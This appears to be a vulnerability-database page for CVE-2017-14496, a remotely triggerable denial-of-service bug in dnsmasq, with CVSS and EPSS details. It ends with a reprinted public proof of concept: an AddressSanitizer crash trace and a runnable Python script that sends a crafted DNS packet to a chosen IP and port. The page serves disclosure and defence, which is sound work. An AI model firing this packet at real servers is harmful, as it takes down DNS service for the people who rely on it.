CVE-2017-14496 Detail

CVE-2017-14496

Score / Severity

7.5

High

EPSS

25.81%V3

Vector

Network

Published

2017-10-02
19h00 +00:00

Modified

2018-05-10
07h57 +00:00

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CVE.org

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CVE Descriptions

Integer underflow in the add_pseudoheader function in dnsmasq before 2.78 , when the --add-mac, --add-cpe-id or --add-subnet option is specified, allows remote attackers to cause a denial of service via a crafted DNS request.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-191	Integer Underflow (Wrap or Wraparound) The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	7.5	HIGH	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. None There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	7.8		AV:N/AC:L/Au:N/C:N/I:N/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 42946

Publication date : 2017-10-01 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

''' Sources: https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14496.py https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html dnsmasq is vulnerable only if one of the following option is specified: --add-mac, --add-cpe-id or --add-subnet. ================================================================= ==2215==ERROR: AddressSanitizer: negative-size-param: (size=-4) #0 0x4b55be in __asan_memcpy (/test/dnsmasq/src/dnsmasq+0x4b55be) #1 0x59a70e in add_pseudoheader /test/dnsmasq/src/edns0.c:164:8 #2 0x59bae8 in add_edns0_config /test/dnsmasq/src/edns0.c:424:12 #3 0x530b6b in forward_query /test/dnsmasq/src/forward.c:407:20 #4 0x534699 in receive_query /test/dnsmasq/src/forward.c:1448:16 #5 0x548486 in check_dns_listeners /test/dnsmasq/src/dnsmasq.c:1565:2 #6 0x5448b6 in main /test/dnsmasq/src/dnsmasq.c:1044:7 #7 0x7fb05e3cf2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #8 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9) 0x62200001ca2e is located 302 bytes inside of 5131-byte region [0x62200001c900,0x62200001dd0b) allocated by thread T0 here: #0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700) #1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15 #2 0x54186c in main /test/dnsmasq/src/dnsmasq.c:99:20 #3 0x7fb05e3cf2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) SUMMARY: AddressSanitizer: negative-size-param (/test/dnsmasq/src/dnsmasq+0x4b55be) in __asan_memcpy ==2215==ABORTING ''' #!/usr/bin/python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <[email protected]> # Felix Wilhelm <[email protected]> # Gabriel Campana <[email protected]> # Kevin Hamacher <[email protected]> # Gynvael Coldwin <[email protected]> # Ron Bowes - Xoogler :/ import socket import sys def negative_size_param(): data = '''00 00 00 00 00 00 00 00 00 00 00 04 00 00 29 00 00 3a 00 00 00 01 13 fe 32 01 13 79 00 00 00 00 00 00 00 01 00 00 00 61 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 00 00 00 00 00 00 6f 29 fb ff ff ff 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 02 8d 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 5c 00 00 00 01 ff ff 00 35 13 01 0d 06 1b 00 00 00 00 00 00 00 00 00 00 00 04 00 00 29 00 00 3a 00 00 00 01 13 00 08 01 00 00 00 00 00 00 01 00 00 00 61 00 08 08 08 08 08 08 08 08 08 13 08 08 08 00 00 00 00 00 00 00 00 00 6f 29 fb ff ff ff 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 8d 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 01 ff ff 00 35 13 00 00 00 00 00 b6 00 00 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 05 01 20 00 01 '''.replace(' ', '').replace('\n', '').decode('hex') return data if __name__ == '__main__': if len(sys.argv) != 3: print 'Usage: %s <ip> <port>' % sys.argv[0] sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) packet = negative_size_param() s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST, 1) s.sendto(packet, (ip, port)) s.close()